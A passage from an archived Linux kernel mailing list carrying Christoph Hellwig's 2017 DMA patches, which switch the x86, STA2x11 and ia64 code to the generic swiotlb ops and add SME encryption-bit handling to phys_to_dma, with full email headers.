+	 * With SEV, DMA operations cannot use encryption, we need to use
+	 * SWIOTLB to bounce buffer DMA operation.
 	 */
 	if (sev_active())
-		dma_ops = &sev_dma_ops;
+		dma_ops = &swiotlb_dma_ops;
 
 	/*
 	 * With SEV, we need to unroll the rep string I/O instructions.
diff --git a/arch/x86/pci/sta2x11-fixup.c b/arch/x86/pci/sta2x11-fixup.c
index 4b69b008d5aa..15ad3025e439 100644
--- a/arch/x86/pci/sta2x11-fixup.c
+++ b/arch/x86/pci/sta2x11-fixup.c
@@ -243,11 +243,11 @@ bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
 }
 
 /**
- * phys_to_dma - Return the DMA AMBA address used for this STA2x11 device
+ * __phys_to_dma - Return the DMA AMBA address used for this STA2x11 device
  * @dev: device for a PCI device
  * @paddr: Physical address
  */
-dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
+dma_addr_t __phys_to_dma(struct device *dev, phys_addr_t paddr)
 {
 	if (dev->dma_ops != &sta2x11_dma_ops)
 		return paddr;
@@ -259,7 +259,7 @@ dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
  * @dev: device for a PCI device
  * @daddr: STA2x11 AMBA DMA address
  */
-phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr)
+phys_addr_t __dma_to_phys(struct device *dev, dma_addr_t daddr)
 {
 	if (dev->dma_ops != &sta2x11_dma_ops)
 		return daddr;
diff --git a/include/linux/dma-direct.h b/include/linux/dma-direct.h
index bcdb1a3e4b1f..e7f5ac7efcb5 100644
--- a/include/linux/dma-direct.h
+++ b/include/linux/dma-direct.h
@@ -3,18 +3,19 @@
 #define _LINUX_DMA_DIRECT_H 1
 
 #include <linux/dma-mapping.h>
+#include <linux/mem_encrypt.h>
 
 #ifdef CONFIG_ARCH_HAS_PHYS_TO_DMA
 #include <asm/dma-direct.h>
 #else
-static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
+static inline dma_addr_t __phys_to_dma(struct device *dev, phys_addr_t paddr)
 {
 	dma_addr_t dev_addr = (dma_addr_t)paddr;
 
 	return dev_addr - ((dma_addr_t)dev->dma_pfn_offset << PAGE_SHIFT);
 }
 
-static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t dev_addr)
+static inline phys_addr_t __dma_to_phys(struct device *dev, dma_addr_t dev_addr)
 {
 	phys_addr_t paddr = (phys_addr_t)dev_addr;
 
@@ -30,6 +31,24 @@ static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
 }
 #endif /* !CONFIG_ARCH_HAS_PHYS_TO_DMA */
 
+/*
+ * If memory encryptition is supported, phys_to_dma will set the memory
+ * encryption bit in the DMA address, and dma_to_phys will clear it.
+ * The raw __phys_to_dma and __dma_to_phys should only be used on
+ * non-encrypted memory for special occasions like DMA coherent buffers.
+ */
+static __always_inline dma_addr_t phys_to_dma(struct device *dev,
+		phys_addr_t paddr)
+{
+	return __sme_set(__phys_to_dma(dev, paddr));
+}
+
+static __always_inline phys_addr_t dma_to_phys(struct device *dev,
+		dma_addr_t daddr)
+{
+	return __sme_clr(__dma_to_phys(dev, daddr));
+}
+
 #ifdef CONFIG_ARCH_HAS_DMA_MARK_CLEAN
 void dma_mark_clean(void *addr, size_t size);
 #else
diff --git a/lib/dma-direct.c b/lib/dma-direct.c
index 5bb289483efc..2e2dcb1ae0a1 100644
--- a/lib/dma-direct.c
+++ b/lib/dma-direct.c
@@ -9,6 +9,7 @@
 #include <linux/scatterlist.h>
 #include <linux/dma-contiguous.h>
 #include <linux/pfn.h>
+#include <linux/set_memory.h>
 
 #define DIRECT_MAPPING_ERROR		0
 
@@ -36,9 +37,13 @@ check_addr(struct device *dev, dma_addr_t dma_addr, size_t size,
 	return true;
 }
 
+/*
+ * Since we will be clearing the encryption bit, check the mask with it already
+ * cleared.
+ */
 static bool dma_coherent_ok(struct device *dev, phys_addr_t phys, size_t size)
 {
-	return phys_to_dma(dev, phys) + size <= dev->coherent_dma_mask;
+	return __phys_to_dma(dev, phys) + size <= dev->coherent_dma_mask;
 }
 
 void *dma_direct_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
@@ -47,6 +52,7 @@ void *dma_direct_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
 	unsigned int count = PAGE_ALIGN(size) >> PAGE_SHIFT;
 	int page_order = get_order(size);
 	struct page *page = NULL;
+	void *ret;
 
 	/* GFP_DMA32 and GFP_DMA are no ops without the corresponding zones: */
 	if (dev->coherent_dma_mask < DMA_BIT_MASK(32))
@@ -79,19 +85,27 @@ void *dma_direct_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
 
 	if (!page)
 		return NULL;
+	*dma_handle = __phys_to_dma(dev, page_to_phys(page));
+	ret = page_address(page);
 
-	*dma_handle = phys_to_dma(dev, page_to_phys(page));
-	memset(page_address(page), 0, size);
-	return page_address(page);
+	/* Clear the memory encryption bit */
+	set_memory_decrypted((unsigned long)ret, page_order);
+
+	memset(ret, 0, size);
+	return ret;
 }
 
 void dma_direct_free(struct device *dev, size_t size, void *cpu_addr,
 		dma_addr_t dma_addr, unsigned long attrs)
 {
 	unsigned int count = PAGE_ALIGN(size) >> PAGE_SHIFT;
+	unsigned int page_order = get_order(size);
+
+	/* Set the SME encryption bit for re-use */
+	set_memory_encrypted((unsigned long)cpu_addr, 1 << page_order);
 
 	if (!dma_release_from_contiguous(dev, virt_to_page(cpu_addr), count))
-		free_pages((unsigned long)cpu_addr, get_order(size));
+		free_pages((unsigned long)cpu_addr, page_order);
 }
 
 static dma_addr_t dma_direct_map_page(struct device *dev, struct page *page,
diff --git a/lib/swiotlb.c b/lib/swiotlb.c
index 905eea6353a3..85b2ad9299e3 100644
--- a/lib/swiotlb.c
+++ b/lib/swiotlb.c
@@ -158,13 +158,6 @@ unsigned long swiotlb_size_or_default(void)
 
 void __weak swiotlb_set_mem_attributes(void *vaddr, unsigned long size) { }
 
-/* For swiotlb, clear memory encryption mask from dma addresses */
-static dma_addr_t swiotlb_phys_to_dma(struct device *hwdev,
-				      phys_addr_t address)
-{
-	return __sme_clr(phys_to_dma(hwdev, address));
-}
-
 /* Note that this doesn't work with highmem page */
 static dma_addr_t swiotlb_virt_to_bus(struct device *hwdev,
 				      volatile void *address)
@@ -623,7 +616,7 @@ map_single(struct device *hwdev, phys_addr_t phys, size_t size,
 		return SWIOTLB_MAP_ERROR;
 	}
 
-	start_dma_addr = swiotlb_phys_to_dma(hwdev, io_tlb_start);
+	start_dma_addr = __phys_to_dma(hwdev, io_tlb_start);
 	return swiotlb_tbl_map_single(hwdev, start_dma_addr, phys, size,
 				      dir, attrs);
 }
@@ -718,12 +711,12 @@ swiotlb_alloc_buffer(struct device *dev, size_t size, dma_addr_t *dma_handle)
 		goto out_warn;
 
 	phys_addr = swiotlb_tbl_map_single(dev,
-			swiotlb_phys_to_dma(dev, io_tlb_start),
+			__phys_to_dma(dev, io_tlb_start),
 			0, size, DMA_FROM_DEVICE, 0);
 	if (phys_addr == SWIOTLB_MAP_ERROR)
 		goto out_warn;
 
-	*dma_handle = swiotlb_phys_to_dma(dev, phys_addr);
+	*dma_handle = __phys_to_dma(dev, phys_addr);
 
 	/* Confirm address can be DMA'd by device */
 	if (*dma_handle + size - 1 > dev->coherent_dma_mask)
@@ -861,10 +854,10 @@ dma_addr_t swiotlb_map_page(struct device *dev, struct page *page,
 	map = map_single(dev, phys, size, dir, attrs);
 	if (map == SWIOTLB_MAP_ERROR) {
 		swiotlb_full(dev, size, dir, 1);
-		return swiotlb_phys_to_dma(dev, io_tlb_overflow_buffer);
+		return __phys_to_dma(dev, io_tlb_overflow_buffer);
 	}
 
-	dev_addr = swiotlb_phys_to_dma(dev, map);
+	dev_addr = __phys_to_dma(dev, map);
 
 	/* Ensure that the address returned is DMA'ble */
 	if (dma_capable(dev, dev_addr, size))
@@ -873,7 +866,7 @@ dma_addr_t swiotlb_map_page(struct device *dev, struct page *page,
 	attrs |= DMA_ATTR_SKIP_CPU_SYNC;
 	swiotlb_tbl_unmap_single(dev, map, size, dir, attrs);
 
-	return swiotlb_phys_to_dma(dev, io_tlb_overflow_buffer);
+	return __phys_to_dma(dev, io_tlb_overflow_buffer);
 }
 EXPORT_SYMBOL_GPL(swiotlb_map_page);
 
@@ -1007,7 +1000,7 @@ swiotlb_map_sg_attrs(struct device *hwdev, struct scatterlist *sgl, int nelems,
 				sg_dma_len(sgl) = 0;
 				return 0;
 			}
-			sg->dma_address = swiotlb_phys_to_dma(hwdev, map);
+			sg->dma_address = __phys_to_dma(hwdev, map);
 		} else
 			sg->dma_address = dev_addr;
 		sg_dma_len(sg) = sg->length;
@@ -1075,7 +1068,7 @@ EXPORT_SYMBOL(swiotlb_sync_sg_for_device);
 int
 swiotlb_dma_mapping_error(struct device *hwdev, dma_addr_t dma_addr)
 {
-	return (dma_addr == swiotlb_phys_to_dma(hwdev, io_tlb_overflow_buffer));
+	return (dma_addr == __phys_to_dma(hwdev, io_tlb_overflow_buffer));
 }
 EXPORT_SYMBOL(swiotlb_dma_mapping_error);
 
@@ -1088,7 +1081,7 @@ EXPORT_SYMBOL(swiotlb_dma_mapping_error);
 int
 swiotlb_dma_supported(struct device *hwdev, u64 mask)
 {
-	return swiotlb_phys_to_dma(hwdev, io_tlb_end - 1) <= mask;
+	return __phys_to_dma(hwdev, io_tlb_end - 1) <= mask;
 }
 EXPORT_SYMBOL(swiotlb_dma_supported);
 
-- 
2.14.2


From - Thu Nov 08 21:40:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 56/67] ia64: use generic swiotlb_ops
Date: Fri, 29 Dec 2017 09:19:00 +0100
Lines: 181
Approved: news@gmane.org
Message-ID: <20171229081911.2802-57-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535707 3564 195.159.176.226 (29 Dec 2017 08:21:47 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:21:47 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: sparclinux-owner@vger.kernel.org Fri Dec 29 09:21:41 2017
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1eUpvB-0008UZ-2A
	for lnx-sparclinux@m.gmane.org; Fri, 29 Dec 2017 09:21:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932926AbdL2IXn (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Fri, 29 Dec 2017 03:23:43 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:55697 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1755366AbdL2IXh (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Fri, 29 Dec 2017 03:23:37 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=ufI92MH35kThGqLZI/KmEQ1BFEKHUPP5/DsPsJKlPB0=; b=gaFPAIqavofE+01pEMdfQwGEP
        poBKW5aSM9qYy5j+kW7uFmi0TjNqfJhk2XJWoX69wyx60fuNk3Hsvi7uUdZK23AggDET9USrVX7Wb
        NzTIx4Ng2CsGhm1a6QcHOGKE2fHwCC0r3d5Lt1dwMbEPLmUtsAHtT1A7QUEnWucpc1RuLd3P76hfr
        JjDOM8eZo5A0C64AH9n/2HhKty5SEU6rQBXGDyGRY8ARyL4in8rEl2pPL8gM4VPl83HUFsbuggchb
        WvP/xKiC9Wvjc8LvV8p+yMR2F2UVRXMM66SldC2wCSqmNoKZNRvGvf5Qx77BQ5cLQYlkIhwNe8fBQ
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpwo-0003bD-Dd; Fri, 29 Dec 2017 08:23:23 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:27086 gmane.linux.kernel.iommu:21923 gmane.linux.ports.alpha:4590 gmane.linux.kernel.arc:3211 gmane.linux.ports.arm.kernel:622936 gmane.linux.ports.hexagon:1443 gmane.linux.ports.ia64:28433 gmane.linux.kernel.metag:1517 gmane.linux.ports.mips.general:62966 gmane.linux.ports.parisc:28108 gmane.linux.ports.ppc64.devel:151540 gmane.linux.ports.sh.devel:56079 gmane.linux.kernel.cross-arch:40826 gmane.linux.kernel:2654253
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/27086>

These are identical to the ia64 ops, and would also support CMA
if enabled on ia64.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/ia64/Kconfig                |  5 +++++
 arch/ia64/hp/common/hwsw_iommu.c |  4 ++--
 arch/ia64/hp/common/sba_iommu.c  |  6 +++---
 arch/ia64/kernel/pci-swiotlb.c   | 38 +++-----------------------------------
 4 files changed, 13 insertions(+), 40 deletions(-)

diff --git a/arch/ia64/Kconfig b/arch/ia64/Kconfig
index 888acdb163cb..29148fe4bf5a 100644
--- a/arch/ia64/Kconfig
+++ b/arch/ia64/Kconfig
@@ -146,6 +146,7 @@ config IA64_GENERIC
 	bool "generic"
 	select NUMA
 	select ACPI_NUMA
+	select DMA_DIRECT_OPS
 	select SWIOTLB
 	select PCI_MSI
 	help
@@ -166,6 +167,7 @@ config IA64_GENERIC
 
 config IA64_DIG
 	bool "DIG-compliant"
+	select DMA_DIRECT_OPS
 	select SWIOTLB
 
 config IA64_DIG_VTD
@@ -181,6 +183,7 @@ config IA64_HP_ZX1
 
 config IA64_HP_ZX1_SWIOTLB
 	bool "HP-zx1/sx1000 with software I/O TLB"
+	select DMA_DIRECT_OPS
 	select SWIOTLB
 	help
 	  Build a kernel that runs on HP zx1 and sx1000 systems even when they
@@ -204,6 +207,7 @@ config IA64_SGI_UV
 	bool "SGI-UV"
 	select NUMA
 	select ACPI_NUMA
+	select DMA_DIRECT_OPS
 	select SWIOTLB
 	help
 	  Selecting this option will optimize the kernel for use on UV based
@@ -214,6 +218,7 @@ config IA64_SGI_UV
 
 config IA64_HP_SIM
 	bool "Ski-simulator"
+	select DMA_DIRECT_OPS
 	select SWIOTLB
 	depends on !PM
 
diff --git a/arch/ia64/hp/common/hwsw_iommu.c b/arch/ia64/hp/common/hwsw_iommu.c
index 41279f0442bd..58969039bed2 100644
--- a/arch/ia64/hp/common/hwsw_iommu.c
+++ b/arch/ia64/hp/common/hwsw_iommu.c
@@ -19,7 +19,7 @@
 #include <linux/export.h>
 #include <asm/machvec.h>
 
-extern const struct dma_map_ops sba_dma_ops, ia64_swiotlb_dma_ops;
+extern const struct dma_map_ops sba_dma_ops;
 
 /* swiotlb declarations & definitions: */
 extern int swiotlb_late_init_with_default_size (size_t size);
@@ -38,7 +38,7 @@ static inline int use_swiotlb(struct device *dev)
 const struct dma_map_ops *hwsw_dma_get_ops(struct device *dev)
 {
 	if (use_swiotlb(dev))
-		return &ia64_swiotlb_dma_ops;
+		return &swiotlb_dma_ops;
 	return &sba_dma_ops;
 }
 EXPORT_SYMBOL(hwsw_dma_get_ops);
diff --git a/arch/ia64/hp/common/sba_iommu.c b/arch/ia64/hp/common/sba_iommu.c
index d68849ad2ee1..6f05aba9012f 100644
--- a/arch/ia64/hp/common/sba_iommu.c
+++ b/arch/ia64/hp/common/sba_iommu.c
@@ -2093,7 +2093,7 @@ static int __init acpi_sba_ioc_init_acpi(void)
 /* This has to run before acpi_scan_init(). */
 arch_initcall(acpi_sba_ioc_init_acpi);
 
-extern const struct dma_map_ops ia64_swiotlb_dma_ops;
+extern const struct dma_map_ops swiotlb_dma_ops;
 
 static int __init
 sba_init(void)
@@ -2108,7 +2108,7 @@ sba_init(void)
 	 * a successful kdump kernel boot is to use the swiotlb.
 	 */
 	if (is_kdump_kernel()) {
-		dma_ops = &ia64_swiotlb_dma_ops;
+		dma_ops = &swiotlb_dma_ops;
 		if (swiotlb_late_init_with_default_size(64 * (1<<20)) != 0)
 			panic("Unable to initialize software I/O TLB:"
 				  " Try machvec=dig boot option");
@@ -2130,7 +2130,7 @@ sba_init(void)
 		 * If we didn't find something sba_iommu can claim, we
 		 * need to setup the swiotlb and switch to the dig machvec.
 		 */
-		dma_ops = &ia64_swiotlb_dma_ops;
+		dma_ops = &swiotlb_dma_ops;
 		if (swiotlb_late_init_with_default_size(64 * (1<<20)) != 0)
 			panic("Unable to find SBA IOMMU or initialize "
 			      "software I/O TLB: Try machvec=dig boot option");
diff --git a/arch/ia64/kernel/pci-swiotlb.c b/arch/ia64/kernel/pci-swiotlb.c
index 4a9a6e58ad6a..0f8d5fbd86bd 100644
--- a/arch/ia64/kernel/pci-swiotlb.c
+++ b/arch/ia64/kernel/pci-swiotlb.c
@@ -6,8 +6,7 @@
 #include <linux/cache.h>
 #include <linux/module.h>
 #include <linux/dma-mapping.h>
-
-#include <asm/swiotlb.h>
+#include <linux/swiotlb.h>
 #include <asm/dma.h>
 #include <asm/iommu.h>
 #include <asm/machvec.h>
@@ -15,40 +14,9 @@
 int swiotlb __read_mostly;
 EXPORT_SYMBOL(swiotlb);
 
-static void *ia64_swiotlb_alloc_coherent(struct device *dev, size_t size,
-					 dma_addr_t *dma_handle, gfp_t gfp,
-					 unsigned long attrs)
-{
-	if (dev->coherent_dma_mask != DMA_BIT_MASK(64))
-		gfp |= GFP_DMA32;
-	return swiotlb_alloc_coherent(dev, size, dma_handle, gfp);
-}
-
-static void ia64_swiotlb_free_coherent(struct device *dev, size_t size,
-				       void *vaddr, dma_addr_t dma_addr,
-				       unsigned long attrs)
-{
-	swiotlb_free_coherent(dev, size, vaddr, dma_addr);
-}
-
-const struct dma_map_ops ia64_swiotlb_dma_ops = {
-	.alloc = ia64_swiotlb_alloc_coherent,
-	.free = ia64_swiotlb_free_coherent,
-	.map_page = swiotlb_map_page,
-	.unmap_page = swiotlb_unmap_page,
-	.map_sg = swiotlb_map_sg_attrs,
-	.unmap_sg = swiotlb_unmap_sg_attrs,
-	.sync_single_for_cpu = swiotlb_sync_single_for_cpu,
-	.sync_single_for_device = swiotlb_sync_single_for_device,
-	.sync_sg_for_cpu = swiotlb_sync_sg_for_cpu,
-	.sync_sg_for_device = swiotlb_sync_sg_for_device,
-	.dma_supported = swiotlb_dma_supported,
-	.mapping_error = swiotlb_dma_mapping_error,
-};
-
 void __init swiotlb_dma_init(void)
 {
-	dma_ops = &ia64_swiotlb_dma_ops;
+	dma_ops = &swiotlb_dma_ops;
 	swiotlb_init(1);
 }
 
@@ -60,7 +28,7 @@ void __init pci_swiotlb_init(void)
 		printk(KERN_INFO "PCI-DMA: Re-initialize machine vector.\n");
 		machvec_init("dig");
 		swiotlb_init(1);
-		dma_ops = &ia64_swiotlb_dma_ops;
+		dma_ops = &swiotlb_dma_ops;
 #else
 		panic("Unable to find Intel IOMMU");
 #endif
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel.iommu,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 58/67] ia64: remove an ifdef around the content of pci-dma.c
Date: Fri, 29 Dec 2017 09:19:02 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <20171229081911.2802-59-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535715 5474 195.159.176.226 (29 Dec 2017 08:21:55 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:21:55 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-alpha-owner@vger.kernel.org Fri Dec 29 09:21:49 2017
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1eUpvH-0000eY-6Y
	for lnx-linux-alpha@m.gmane.org; Fri, 29 Dec 2017 09:21:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1756133AbdL2IXs (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
        Fri, 29 Dec 2017 03:23:48 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:37082 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1756082AbdL2IXp (ORCPT
        <rfc822;linux-alpha@vger.kernel.org>);
        Fri, 29 Dec 2017 03:23:45 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=qEJPxY82r722va3wccbE9gkR0QaVccvPVmnX2w6WlZA=; b=Xe3UpygPIT5bZiSJXvkyl3VAL
        2Y5d7eEJb6WymusDvWnjApj1dC9ZYNNuHIdUZVcg+Vq26jAlsbuk0oPTOawXP0a83tlEDzDS8zPBP
        tT164QEdL46EFmXr2W2sG17+4fhlsDZ6Es/VrYMXqtHN9zAhTm8Tzvg4pMIL01lPCk0G68HeiXok/
        WhUolVw9xRw029WO+m9wXVkpbiAVMxzkEiK2j3AYmjQ5IIsPiGwxDRVOZF6KfCAMKylAf9fvELww9
        s66v3cp2fww50xLhvgjWQdH2eAsiKqm2W40t05voC5eRM5Zhy1+6FlGB9mYdXc4BtIOXSR/McNBAS
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpwx-0003hM-4D; Fri, 29 Dec 2017 08:23:31 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:4591 gmane.linux.kernel.iommu:21924 gmane.linux.kernel.arc:3212 gmane.linux.ports.arm.kernel:622937 gmane.linux.ports.hexagon:1444 gmane.linux.ports.ia64:28434 gmane.linux.kernel.metag:1518 gmane.linux.ports.mips.general:62967 gmane.linux.ports.parisc:28109 gmane.linux.ports.ppc64.devel:151541 gmane.linux.ports.sh.devel:56080 gmane.linux.ports.sparc:27087 gmane.linux.kernel.cross-arch:40827 gmane.linux.kernel:2654254
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/4591>

The file is only compiled if CONFIG_INTEL_IOMMU is set to start with.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/ia64/kernel/pci-dma.c | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/arch/ia64/kernel/pci-dma.c b/arch/ia64/kernel/pci-dma.c
index 35e0cad33b7d..b5df084c0af4 100644
--- a/arch/ia64/kernel/pci-dma.c
+++ b/arch/ia64/kernel/pci-dma.c
@@ -12,12 +12,7 @@
 #include <asm/iommu.h>
 #include <asm/machvec.h>
 #include <linux/dma-mapping.h>
-
-
-#ifdef CONFIG_INTEL_IOMMU
-
 #include <linux/kernel.h>
-
 #include <asm/page.h>
 
 dma_addr_t bad_dma_address __read_mostly;
@@ -115,5 +110,3 @@ void __init pci_iommu_alloc(void)
 	}
 #endif /* CONFIG_SWIOTLB */
 }
-
-#endif
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 61/67] tile: use generic swiotlb_ops
Date: Fri, 29 Dec 2017 09:19:05 +0100
Lines: 84
Approved: news@gmane.org
Message-ID: <20171229081911.2802-62-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535732 9137 195.159.176.226 (29 Dec 2017 08:22:12 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:22:12 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
